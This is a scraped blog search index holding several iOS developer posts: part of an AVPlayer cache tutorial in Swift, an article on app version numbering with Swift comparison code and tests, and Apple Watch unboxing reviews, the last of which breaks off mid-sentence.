data concurrently, please ensure all operations are performed within DispatchQueue to avoid data corruption (data corruption can also result in playback issues). ⚠️ If URLSession does not call finishTasksAndInvalidate or invalidateAndCancel, it will strongly retain objects, causing a Memory Leak. Therefore, whether canceling or completing, we must call these methods to release the Request when the task ends. ⚠️ If you are concerned about downloadedData causing OOM, you can save it locally in didReceive Data.ResourceLoaderimport AVFoundationimport Foundationclass ResourceLoader: NSObject { let loaderQueue = DispatchQueue(label: \"li.zhgchg.resourceLoader.queue\") private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] private let cacheKey: String private let originalURL: URL init(asset: CachingAVURLAsset) { self.cacheKey = asset.cacheKey self.originalURL = asset.originalURL super.init() } deinit { self.requests.forEach { (request) in request.value.cancel() } }}extension ResourceLoader: AVAssetResourceLoaderDelegate { func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool { let type = ResourceLoader.resourceLoaderRequestType(loadingRequest) let assetDataManager = PINCacheAssetDataManager(cacheKey: self.cacheKey) if let assetData = assetDataManager.retrieveAssetData() { if type == .contentInformation { loadingRequest.contentInformationRequest?.contentLength = assetData.contentInformation.contentLength loadingRequest.contentInformationRequest?.contentType = assetData.contentInformation.contentType loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = assetData.contentInformation.isByteRangeAccessSupported loadingRequest.finishLoading() return true } else { let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest) if assetData.mediaData.count > 0 { let end: Int64 switch range.end { case .requestTo(let rangeEnd): end = rangeEnd case .requestToEnd: end = assetData.contentInformation.contentLength } if assetData.mediaData.count >= end { let subData = assetData.mediaData.subdata(in: Int(range.start)..<Int(end)) loadingRequest.dataRequest?.respond(with: subData) loadingRequest.finishLoading() return true } else if range.start <= assetData.mediaData.count { // has cache data...but not enough let subEnd = (assetData.mediaData.count > end) ? Int((end)) : (assetData.mediaData.count) let subData = assetData.mediaData.subdata(in: Int(range.start)..<subEnd) loadingRequest.dataRequest?.respond(with: subData) } } } } let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest) let resourceLoaderRequest = ResourceLoaderRequest(originalURL: self.originalURL, type: type, loaderQueue: self.loaderQueue, assetDataManager: assetDataManager) resourceLoaderRequest.delegate = self self.requests[loadingRequest]?.cancel() self.requests[loadingRequest] = resourceLoaderRequest resourceLoaderRequest.start(requestRange: range) return true } func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest) { guard let resourceLoaderRequest = self.requests[loadingRequest] else { return } resourceLoaderRequest.cancel() requests.removeValue(forKey: loadingRequest) }}extension ResourceLoader: ResourceLoaderRequestDelegate { func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } switch result { case .success(let contentInformation): loadingRequest.contentInformationRequest?.contentType = contentInformation.contentType loadingRequest.contentInformationRequest?.contentLength = contentInformation.contentLength loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = contentInformation.isByteRangeAccessSupported loadingRequest.finishLoading() case .failure(let error): loadingRequest.finishLoading(with: error) } } func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } loadingRequest.dataRequest?.respond(with: data) } func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } loadingRequest.finishLoading(with: error) requests.removeValue(forKey: loadingRequest) }}extension ResourceLoader { static func resourceLoaderRequestType(_ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestType { if let _ = loadingRequest.contentInformationRequest { return .contentInformation } else { return .dataRequest } } static func resourceLoaderRequestRange(_ type: ResourceLoaderRequest.RequestType, _ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestRange { if type == .contentInformation { return ResourceLoaderRequest.RequestRange(start: 0, end: .requestTo(1)) } else { if loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true { let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestToEnd) } else { let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 let length = Int64(loadingRequest.dataRequest?.requestedLength ?? 1) let upperBound = lowerBound + length return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestTo(upperBound)) } } }}loadingRequest.contentInformationRequest != nil indicates the first request, where the player asks for file information.When requesting file information, we need to provide these three pieces of information: loadingRequest.contentInformationRequest?.isByteRangeAccessSupported: Whether Range access to Data is supported loadingRequest.contentInformationRequest?.contentType: Uniform type identifier loadingRequest.contentInformationRequest?.contentLength: Total file length Int64loadingRequest.dataRequest?.requestedOffset can get the starting offset of the requested Range.loadingRequest.dataRequest?.requestedLength can get the length of the requested Range.loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true means that regardless of the requested Range length, it will fetch until the end.loadingRequest.dataRequest?.respond(with: Data) returns the loaded Data to the player.loadingRequest.dataRequest?.currentOffset can get the current data offset, and dataRequest?.respond(with: Data) will shift the currentOffset.loadingRequest.finishLoading() indicates that all data has been loaded and informs the player.func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> BoolWhen the player requests data, we first check if there is data in the local Cache. If there is, we return it; if only part of the data is available, we return that part. For example, if we have 0–100 locally and the player requests 0–200, we return 0–100 first.If there is no local Cache or the returned data is insufficient, a ResourceLoaderRequest will be initiated to fetch data from the network.func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest)The player cancels the request, canceling the ResourceLoaderRequest. You might have noticed resourceLoaderRequestRange offset is based on currentOffset because we first load the downloaded Data from the local dataRequest?.respond(with: Data); so we can directly look at the shifted offset.func private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] ⚠️ Some examples use currentRequest: ResourceLoaderRequest to store requests, which can be problematic. If the current request is fetching data and the user seeks, the old request will be canceled and a new one initiated. Since these actions may not occur in order, using a Dictionary for storage and operations is safer! ⚠️ Ensure all operations are on the same DispatchQueue to prevent data inconsistencies.Cancel all ongoing requests during deinitResource Loader Deinit indicates AVURLAsset Deinit, meaning the player no longer needs this resource. Therefore, we can cancel ongoing Requests, and the already loaded data will still be written to Cache.Supplement and AcknowledgmentsThanks to Lex 汤 for the guidance.Thanks to 外孫女 for providing development advice and support.This article is only for small music filesLarge video files may encounter Out Of Memory issues in downloadedData, AssetData/PINCacheAssetDataManager.As mentioned earlier, to solve this problem, use fileHandler seek read/write to operate local Cache read/write (replacing AssetData/PINCacheAssetDataManager); or look for projects on Github that handle large data write/read to file.Cancel downloading items when switching playback items in AVQueuePlayerAs stated in the preliminary knowledge, changing the playback target will not trigger a Cancel; if it is AVPlayer, it will go through AVURLAsset Deinit, so the download will also be interrupted; but AVQueuePlayer will not, because it is still in the Queue, only the playback target has switched to the next one.The only way here is to receive the notification of changing the playback target, and then cancel the loading of the previous AVURLAsset after receiving the notification.asset.cancelLoading()Audio data encryption and decryptionAudio encryption and decryption can be performed in ResourceLoaderRequest when obtaining Data, and when storing, encryption and decryption can be performed on the Data stored locally in the encode/decode of AssetData.CryptoKit SHA usage example:class AssetData: NSObject, NSCoding { static let encryptionKeyString = \"encryptionKeyExzhgchgli\" ... func encode(with coder: NSCoder) { coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) if #available(iOS 13.0, *), let encryptionData = try? ChaChaPoly.seal(self.mediaData, using: AssetData.encryptionKey).combined { coder.encode(encryptionData, forKey: #keyPath(AssetData.mediaData)) } else { // } } required init?(coder: NSCoder) { super.init() ... if let mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data { if #available(iOS 13.0, *), let sealedBox = try? ChaChaPoly.SealedBox(combined: mediaData), let decryptedData = try? ChaChaPoly.open(sealedBox, using: AssetData.encryptionKey) { self.mediaData = decryptedData } else { // } } else { // } }}PINCache related operationsPINCache includes PINMemoryCache and PINDiskCache. PINCache will handle reading from file to Memory or writing from Memory to file for us. We only need to operate on PINCache.To find the Cache file location in the simulator:Use NSHomeDirectory() to get the simulator file pathFinder -> Go -> Paste the pathIn Library -> Caches -> com.pinterest.PINDiskCache.ResourceLoader is the Resource Loader Cache directory we created.PINCache(name: “ResourceLoader”) where the name is the directory name.You can also specify the rootPath, and the directory can be moved under Documents (not afraid of being cleared by the system).Set the maximum limit for PINCache: PINCacheAssetDataManager.Cache.diskCache.byteCount = 300 * 1024 * 1024 // max: 300mb PINCacheAssetDataManager.Cache.diskCache.byteLimit = 90 * 60 * 60 * 24 // 90 daysSystem default limitSetting it to 0 will not proactively delete files.PostscriptInitially underestimated the difficulty of this feature, thinking it could be handled quickly; ended up struggling and spent about two more weeks dealing with data storage issues. However, I thoroughly understood the entire Resource Loader operation mechanism, GCD, and Data.ReferencesFinally, here are the references for how to implement it: iOS AVPlayer 视频缓存的设计与实现 Only explains the principle 基于AVPlayer实现音视频播放和缓存,支持视频画面的同步输出 [ SZAVPlayer ] Includes code (very complete but complex) CachingPlayerItem (Simple implementation, easier to understand but not complete) 可能是目前最好的 AVPlayer 音视频缓存方案 AVAssetResourceLoaderDelegate 仿抖音 Swift 版 [ Github ] (Interesting project, a replica of the Douyin APP; also uses Resource Loader) iOS HLS Cache 實踐方法探究之旅Extension DLCachePlayer (Objective-C version)If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "AVPlayer Real-time Cache Implementation", "url": "/posts/ee47f8f1e2d2/", "categories": "", "tags": "ios, ios-app-development, cache, avplayer, music-player", "date": "2021-01-05 22:27:52 +0800", "snippet": "[Old] AVPlayer Real-time Cache ImplementationUnderstanding the implementation of AVPlayer/AVQueuePlayer with AVURLAsset using AVAssetResourceLoaderDelegate[2021–01–31] Article Announcement: Article...", "content": "[Old] AVPlayer Real-time Cache ImplementationUnderstanding the implementation of AVPlayer/AVQueuePlayer with AVURLAsset using AVAssetResourceLoaderDelegate[2021–01–31] Article Announcement: Article Revision CompletedFirst, I would like to deeply apologize to all the friends who have read the original article. Due to my recklessness in publishing the article without thorough research, some content was incorrect, wasting your precious time.I have now restructured the entire context from scratch and rewritten the article. It includes a complete project program for everyone’s reference. Thank you!Changes: About 30%New Content: About 60% Complete Guide to Implementing Local Cache with AVPlayer Click Here to View===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS APP Version Numbers Explained", "url": "/posts/c4d7c2ce5a8d/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, software-engineering, version-control, software-development", "date": "2020-12-17 22:33:08 +0800", "snippet": "iOS APP Version Numbers ExplainedVersion number rules and comparison solutionsPhoto by James YaremaIntroductionAll iOS APP developers will encounter two numbers, Version Number and Build Number; re...", "content": "iOS APP Version Numbers ExplainedVersion number rules and comparison solutionsPhoto by James YaremaIntroductionAll iOS APP developers will encounter two numbers, Version Number and Build Number; recently, I had a requirement related to version numbers, to prompt users to rate the APP, and I took the opportunity to explore version numbers; at the end of the article, I will also provide my comprehensive solution for version number comparison.XCode HelpSemantic Versioning x.y.zFirst, let’s introduce the “ Semantic Versioning “ specification, which mainly addresses software dependency and management issues, such as the commonly used Cocoapods; suppose I use Moya 4.0 today, Moya 4.0 uses and depends on Alamofire 2.0.0. If Alamofire is updated, it could be a new feature, a bug fix, or a complete overhaul (incompatible with the old version); without a common consensus on version numbers, it would be chaotic because you wouldn’t know which version is compatible and updatable.Semantic versioning consists of three parts: x.y.z x: Major version (major): When you make incompatible API changes y: Minor version (minor): When you add functionality in a backward-compatible manner z: Patch version (patch): When you make backward-compatible bug fixesGeneral rules: Must be non-negative integers No leading zeros 0.y.z indicates the initial development phase and should not be used for official version numbers Increment numericallyComparison method: First compare the major version, if the major version is equal, then compare the minor version, if the minor version is equal, then compare the patch version. ex: 1.0.0 < 2.0.0 < 2.1.0 < 2.1.1Additionally, you can add “pre-release version information (ex: 1.0.1-alpha)” or “build metadata (ex: 1.0.0-alpha+001)” after the patch version, but iOS APP version numbers do not allow these formats to be uploaded to the App Store, so they will not be elaborated here. For details, refer to “ Semantic Versioning “.✅: 1.0.1, 1.0.0, 5.6.7❌: 01.5.6, a1.2.3, 2.005.6Practical UseRegarding practical use in iOS APP version control, since we only use it as a marker for the release APP version and there are no dependency issues with other APPs or software; the actual usage definition is up to each team. The following is just my personal opinion: x: Major version (major): For significant updates (multiple page interface overhauls, major feature launches) y: Minor version (minor): For optimizing and enhancing existing features (adding small features under a major feature) z: Patch version (patch): For fixing bugs in the current versionGenerally, the revision number is only changed for emergency fixes (Hot Fix), and under normal circumstances, it remains 0. If a new version is released, it can be reset to 0. EX: First version release (1.0.0) -> Strengthen the first version’s features (1.1.0) -> Found an issue to fix (1.1.1) -> Found another issue (1.1.2) -> Continue to strengthen the first version’s features (1.2.0) -> Major update (2.0.0) -> Found an issue to fix (2.0.1) … and so onVersion Number vs. Build NumberVersion Number (APP Version Number) Used for App Store and external identification Property List Key: CFBundleShortVersionString Content can only consist of numbers and “.” Officially recommended to use semantic versioning x.y.z format 2020121701, 2.0, 2.0.0.1 are all acceptable(A summary of App Store app version naming conventions will be provided below) Cannot exceed 18 characters If the format is incorrect, you can build & run but cannot package and upload to the App Store Can only increment, cannot repeat, cannot decrement It is generally customary to use semantic versioning x.y.z or x.y.Build Number Used for internal development process and stage identification, not disclosed to users Used for identification when packaging and uploading to the App Store (the same build number cannot be packaged and uploaded repeatedly) Property List Key: CFBundleVersion Content can only consist of numbers and “.” Officially recommended to use semantic versioning x.y.z format 1, 2020121701, 2.0, 2.0.0.1 are all acceptable Cannot exceed 18 characters If the format is incorrect, you can build & run but cannot package and upload to the App Store Cannot repeat under the same APP version number, but can repeat under different APP version numbersex: 1.0.0 build: 1.0.0, 1.1.0 build: 1.0.0 ✅ It is generally customary to use dates, numbers (starting from 0 for each new version), and use CI/fastlane to automatically increment the build number during packaging.A brief survey of the version number formats of apps on the leaderboard, as shown in the image above.Generally, x.y.z is still the main format.Version Number Comparison and JudgmentSometimes we need to use version numbers for judgment, for example: force update if below x.y.z version, prompt for rating if equal to a certain version. In such cases, we need a function to compare two version strings.Simple Methodlet version = \"1.0.0\"print(version.compare(\"1.0.0\", options: .numeric) == .orderedSame) // true 1.0.0 = 1.0.0print(version.compare(\"1.22.0\", options: .numeric) == .orderedAscending) // true 1.0.0 < 1.22.0print(version.compare(\"0.0.9\", options: .numeric) == .orderedDescending) // true 1.0.0 > 0.0.9print(version.compare(\"2\", options: .numeric) == .orderedAscending) // true 1.0.0 < 2You can also write a String Extension:extension String { func versionCompare(_ otherVersion: String) -> ComparisonResult { return self.compare(otherVersion, options: .numeric) }}⚠️ However, note that if the formats are different, the judgment will be incorrect:let version = \"1.0.0\"version.compare(\"1\", options: .numeric) //.orderedDescendingIn reality, we know 1 == 1.0.0, but using this method will result in .orderedDescending; you can refer to this article for padding with 0 before comparing; under normal circumstances, once we decide on an APP version format, it should not change. If using x.y.z, stick with x.y.z, do not switch between x.y.z and x.y.Complex MethodCan directly use the existing wheel: mrackwitz/Version Below is the recreation of the wheel.The complex method here follows the semantic versioning x.y.z as the format specification, using Regex for string parsing and implementing comparison operators by ourselves. In addition to the basic =/>/≥/< /≤, we also implemented the ~> operator (same as the Cocoapods version specification method) and support static input.The definition of the ~> operator is:Greater than or equal to this version but less than this version’s (previous level version number +1)EX:~> 1.2.1: (1.2.1 <= version < 1.3) 1.2.3,1.2.4...~> 1.2: (1.2 <= version < 2) 1.3,1.4,1.5,1.3.2,1.4.1...~> 1: (1 <= version < 2) 1.1.2,1.2.3,1.5.9,1.9.0... First, we need to define the Version object:@objcMembersclass Version: NSObject { private(set) var major: Int private(set) var minor: Int private(set) var patch: Int override var description: String { return \"\\(self.major),\\(self.minor),\\(self.patch)\" } init(_ major: Int, _ minor: Int, _ patch: Int) { self.major = major self.minor = minor self.patch = patch } init(_ string: String) throws { let result = try Version.parse(string: string) self.major = result.version.major self.minor = result.version.minor self.patch = result.version.patch } static func parse(string: String) throws -> VersionParseResult { let regex = \"^(?:(>=|>|<=|<|~>|=|!=){1}\\\\s*)?(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)$\" let result = string.groupInMatches(regex) if result.count == 4 { //start with operator... let versionOperator = VersionOperator(string: result[0]) guard versionOperator != .unSupported else { throw VersionUnSupported() } let major = Int(result[1]) ?? 0 let minor = Int(result[2]) ?? 0 let patch = Int(result[3]) ?? 0 return VersionParseResult(versionOperator, Version(major, minor, patch)) } else if result.count == 3 { //unSpecified operator... let major = Int(result[0]) ?? 0 let minor = Int(result[1]) ?? 0 let patch = Int(result[2]) ?? 0 return VersionParseResult(.unSpecified, Version(major, minor, patch)) } else { throw VersionUnSupported() } }}//Supported Objects@objc class VersionUnSupported: NSObject, Error { }@objc enum VersionOperator: Int { case equal case notEqual case higherThan case lowerThan case lowerThanOrEqual case higherThanOrEqual case optimistic case unSpecified case unSupported init(string: String) { switch string { case \">\": self = .higherThan case \"<\": self = .lowerThan case \"<=\": self = .lowerThanOrEqual case \">=\": self = .higherThanOrEqual case \"~>\": self = .optimistic case \"=\": self = .equal case \"!=\": self = .notEqual default: self = .unSupported } }}@objcMembersclass VersionParseResult: NSObject { var versionOperator: VersionOperator var version: Version init(_ versionOperator: VersionOperator, _ version: Version) { self.versionOperator = versionOperator self.version = version }}You can see that Version is a storage for major, minor, and patch, and the parsing method is written as static for external calls. It can accept formats like 1.0.0 or ≥1.0.1, making it convenient for string parsing and configuration file parsing.Input: 1.0.0 => Output: .unSpecified, Version(1.0.0)Input: ≥ 1.0.1 => Output: .higherThanOrEqual, Version(1.0.0)The Regex is modified based on the Regex provided in the “Semantic Versioning Specification”:^(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\\+([0-9a-zA-Z-]+(?:\\.[0-9a-zA-Z-]+)*))?$ *Considering the project is mixed with Objective-C, it should be usable in OC as well, so everything is declared as @objcMembers, and compromises are made to use OC-compatible syntax. (Actually, you can directly use VersionOperator with enum: String, and Result with tuple/struct) *If the implemented object is derived from NSObject, remember to implement != when implementing Comparable/Equatable ==, as the original NSObject’s != operation will not yield the expected result.2. Implement Comparable methods:extension Version: Comparable { static func < (lhs: Version, rhs: Version) -> Bool { if lhs.major < rhs.major { return true } else if lhs.major == rhs.major { if lhs.minor < rhs.minor { return true } else if lhs.minor == rhs.minor { if lhs.patch < rhs.patch { return true } } } return false } static func == (lhs: Version, rhs: Version) -> Bool { return lhs.major == rhs.major && lhs.minor == rhs.minor && lhs.patch == rhs.patch } static func != (lhs: Version, rhs: Version) -> Bool { return !(lhs == rhs) } static func ~> (lhs: Version, rhs: Version) -> Bool { let start = Version(lhs.major, lhs.minor, lhs.patch) let end = Version(lhs.major, lhs.minor, lhs.patch) if end.patch >= 0 { end.minor += 1 end.patch = 0 } else if end.minor > 0 { end.major += 1 end.minor = 0 } else { end.major += 1 } return start <= rhs && rhs < end } func compareWith(_ version: Version, operator: VersionOperator) -> Bool { switch `operator` { case .equal, .unSpecified: return self == version case .notEqual: return self != version case .higherThan: return self > version case .lowerThan: return self < version case .lowerThanOrEqual: return self <= version case .higherThanOrEqual: return self >= version case .optimistic: return self ~> version case .unSupported: return false } }}It is actually implementing the judgment logic described earlier, and finally opening a compareWith method for easy external input of the parsing results to get the final judgment.Usage Example:let shouldAskUserFeedbackVersion = \">= 2.0.0\"let currentVersion = \"3.0.0\"do { let result = try Version.parse(shouldAskUserFeedbackVersion) result.version.comparWith(currentVersion, result.operator) // true} catch { print(\"version string parse error!\")}Or…Version(1,0,0) >= Version(0,0,9) //true... Supports >/≥/</≤/=/!=/~> operators.Next StepTest cases…import XCTestclass VersionTests: XCTestCase { func testHigher() throws { let version = Version(3, 12, 1) XCTAssertEqual(version > Version(2, 100, 120), true) XCTAssertEqual(version > Version(3, 12, 0), true) XCTAssertEqual(version > Version(3, 10, 0), true) XCTAssertEqual(version >= Version(3, 12, 1), true) XCTAssertEqual(version > Version(3, 12, 1), false) XCTAssertEqual(version > Version(3, 12, 2), false) XCTAssertEqual(version > Version(4, 0, 0), false) XCTAssertEqual(version > Version(3, 13, 1), false) } func testLower() throws { let version = Version(3, 12, 1) XCTAssertEqual(version < Version(2, 100, 120), false) XCTAssertEqual(version < Version(3, 12, 0), false) XCTAssertEqual(version < Version(3, 10, 0), false) XCTAssertEqual(version <= Version(3, 12, 1), true) XCTAssertEqual(version < Version(3, 12, 1), false) XCTAssertEqual(version < Version(3, 12, 2), true) XCTAssertEqual(version < Version(4, 0, 0), true) XCTAssertEqual(version < Version(3, 13, 1), true) } func testEqual() throws { let version = Version(3, 12, 1) XCTAssertEqual(version == Version(3, 12, 1), true) XCTAssertEqual(version == Version(3, 12, 21), false) XCTAssertEqual(version != Version(3, 12, 1), false) XCTAssertEqual(version != Version(3, 12, 2), true) } func testOptimistic() throws { let version = Version(3, 12, 1) XCTAssertEqual(version ~> Version(3, 12, 1), true) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 12, 9), true) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 13, 0), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 11, 1), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 13, 1), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(2, 13, 0), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 11, 100), false) //3.12.1 <= $0 < 3.13.0 } func testVersionParse() throws { let unSpecifiedVersion = try? Version.parse(string: \"1.2.3\") XCTAssertNotNil(unSpecifiedVersion) XCTAssertEqual(unSpecifiedVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(unSpecifiedVersion!.versionOperator, .unSpecified) let optimisticVersion = try? Version.parse(string: \"~> 1.2.3\") XCTAssertNotNil(optimisticVersion) XCTAssertEqual(optimisticVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(optimisticVersion!.versionOperator, .optimistic) let higherThanVersion = try? Version.parse(string: \"> 1.2.3\") XCTAssertNotNil(higherThanVersion) XCTAssertEqual(higherThanVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(higherThanVersion!.versionOperator, .higherThan) XCTAssertThrowsError(try Version.parse(string: \"!! 1.2.3\")) { error in XCTAssertEqual(error is VersionUnSupported, true) } }}Currently planning to further optimize Version, adjust performance tests, organize packaging, and then run through the process of creating my own cocoapods.However, there is already a very complete Version handling Pod project, so there is no need to reinvent the wheel. I just want to streamline the creation process XD.Maybe I will also submit a PR for the existing wheel to implement ~>.References: Xcode Help Semantic Versioning 2.0.0 How to compare two app version strings in Swift mrackwitz/VersionIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Apple Watch Original Stainless Steel Milanese Loop Unboxing", "url": "/posts/c0f99f987d9c/", "categories": "ZRealm, Life.", "tags": "apple-watch, life, unboxing, apple, milanese-loop", "date": "2020-11-02 23:23:46 +0800", "snippet": "Apple Watch Original Stainless Steel Milanese Loop UnboxingApple Original Stainless Steel 44mm Graphite Milanese Loop UnboxingFollowing the previous post “Apple Watch Series 6 Unboxing & Two Ye...", "content": "Apple Watch Original Stainless Steel Milanese Loop UnboxingApple Original Stainless Steel 44mm Graphite Milanese Loop UnboxingFollowing the previous post “Apple Watch Series 6 Unboxing & Two Years Usage Review”, I finally decided to get the original Milanese loop. I had wanted to buy it two years ago but never did; this time, I decided to update everything at once. Apple guarantees that the bands are compatible with all subsequent Apple Watch versions, so there’s no worry about the band not fitting future updates.AdvantagesThe Milanese loop is made of stainless steel mesh and a magnetic clasp. The benefits of the stainless steel mesh are breathability and quick drying; the magnetic clasp allows the band to be adjusted to any position, fits the wrist better, is easy to wear, and has strong magnetism, so it won’t fall off. Most importantly, it makes the Apple Watch look more formal and easier to match with outfits.DisadvantagesIt pulls hair, pulls hair, pulls hair, and is relatively heavy.Original vs. Third-party?Having been in Apple communities for a while, I’ve noticed that the most frequently asked question is about the original vs. third-party Milanese loop. Personally, I think the difference is not significant, mainly in the details and craftsmanship. The original also pulls hair, but the original’s weaving is very delicate and integrated, the magnetic part is very strong and won’t loosen, and it’s clean and skin-friendly without a rusty smell. However, the price difference is several times (the original costs $3,100). It’s best to touch the actual product before deciding. I guess third-party Milanese loops costing 1-2 thousand should almost equal the original in craftsmanship.SizeAs mentioned in the previous post, it’s recommended for those with smaller wrists to buy the Apple Watch 40mm, as the 40mm Milanese loop fits wrists 130–180mm, compared to the 44mm Milanese loop, which fits wrists 150–200mm, 20mm shorter.The band is one-piece and cannot be adjusted in length; if the band is already tight but still too big, you can only consider third-party options, or gain some weight (?). So it’s safer to try it on in-store. A friend’s case, wrist too small, bought 44 + Milanese loop, can only stick to the end and still a bit loose!Unboxing * Purchased on 2020/11/01 at Apple Store 101 flagship store.Same simple paper packagingBack of the packagingNow it’s not called Space Gray, but Graphite.ContentsSimilar to the original silicone band, but the difference is that it doesn’t come with an extra short band XDThe band itselfMagnetic claspMagnetic clasp, can attach at any position, adjust the loop size freelyInstallation instructionsThe side with the magnet goes down and is buckled into the Apple Watch body. Don’t be like me and install it backwards at first without realizing it, although it doesn’t really matter? :Correct version! Done!Wearing picture - backWearing picture - frontAdditional details of the original strap *Simple way to distinguish between original and aftermarket Milanese straps, but not necessarily accurate; purchasing through legitimate channels ensures you won’t be scammed!Connection end - the end near the magnetic clasp — bottom — has “Assembled in China” textConnection end other end — surface — has “44MM” textFurther reading Apple Watch Series 6 Unboxing & Two Years Usage ReviewIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Apple Watch Series 6 Unboxing & Two-Year Usage Experience", "url": "/posts/eab0e984043/", "categories": "ZRealm, Life.", "tags": "apple, apple-watch-series-6, apple-watch, life, unboxing", "date": "2020-10-14 20:48:38 +0800", "snippet": "Apple Watch Series 6 Unboxing & Two-Year Usage ExperienceApple Watch Series 6 Unboxing and Buying Guide & Two-Year Usage Experience SummaryPrefaceTime flies, it’s been two years since the l...", "content": "Apple Watch Series 6 Unboxing & Two-Year Usage ExperienceApple Watch Series 6 Unboxing and Buying Guide & Two-Year Usage Experience SummaryPrefaceTime flies, it’s been two years since the last unboxing article of Apple Watch Series 4; in terms of functionality, Series 4 is more than enough without the need for an upgrade. Series 5/Series 6 don’t have any core breakthrough features, they are nice to have but not necessary.However, due to the news about Little Ghost, I decided to give my original Series 4 LTE version to my family. The LTE version can make emergency calls without the need for a phone nearby, making it safer compared to the GPS version.My personal habit is to wear it when going out and take it off to charge when I get home, so I don’t have the sleep experience part.I bought the LTE version of Series 4, but since I always carry my phone with me, there’s no need to pay an extra $199 monthly fee to activate it. Moreover, replying to messages on the watch is cumbersome, and answering calls requires AirPods for convenience. Additionally, Spotify on the watch is purely a playback controller and cannot play independently from the iPhone (only Apple Music/KKBOX can). and… I am an iOS APP / watchOS APP developer[2020–10–24 Update]: Spotify now supports independent playback. In the watch Spotify APP, select the playback device -> Apple Watch -> connect Bluetooth earphones -> and you can play! (Still doesn’t support offline download playback, requires an internet connection to use).Apple Watch Series 6 UnboxingLet’s get straight to the main event.OrderingThis time I chose the GPS 44’mm aluminum version in Cypress Green (military green), matching my iPhone 11 Pro in military green.I didn’t catch the first batch of purchases, I ordered on the night of 9/15: The system estimated delivery time was 10/16~10/19 (possibly due to the National Day holiday in China) Notified of shipment on 10/10, estimated to receive by 10/13 Notified on 10/13 that the delivery date might be slightly delayed due to customs delay Actually received on 10/14, still earlier than the original estimated delivery time!UnboxingApple Watch + RhinoShield Protective Case SetFlip to the back, unboxing!The entire unboxing process doesn’t require a knife, just tear it all the way.Open!One strap and one body.The packaging thickness of this generation has significantly reduced (no more tofu head)Body unboxingOnly includes magnetic charging cable.Close-up of the deviceThis time, the protective material of the device is made of paper. I remember the previous generation was black velvet.Unboxing the strapAssembly!Back viewWhen assembling, you can first install the upper part of the strap and then remove the paper protective cover to avoid slipping.Apple Watch 6 + iPhone 11 Prowith Olaf ChickenSwimming Ring ChickenApple Watch 6 with RhinoShield caseBlood oxygen testPlaying with the main feature of this generation.Always-on display sleep vs activeIt’s great that the screen doesn’t turn off now. No need to raise your wrist and wait for the screen to light up to check messages! Unboxing ends.Two years of usage summarySummarizing the feelings of using it for two years and my own purchasing guide.Enhancing life experience and increasing focusApple Watch serves as an extension of the phone, acting as a buffer between the phone and the person. Currently, our reliance on electronic products is directly facing the phone and the overwhelming notifications.I don’t know if you feel the same way, but phone notifications can be startling, even the sound of vibrations. Sometimes, receiving a notification makes my heart skip a beat. Then, I instinctively take out my phone to check it, handle important matters, and put the phone away if it’s not important. This process repeats daily…Although you can turn off sound notifications, disable vibrations in silent mode, or even turn off all notifications, you might miss important messages, leading to another kind of anxiety where you constantly check your phone.In this situation, Apple Watch can act as a lubricant, adding a filter between the person and the phone. When wearing the watch and the phone is in sleep mode, only the watch will notify you. You can set specific app notifications to be sent to the watch and disable 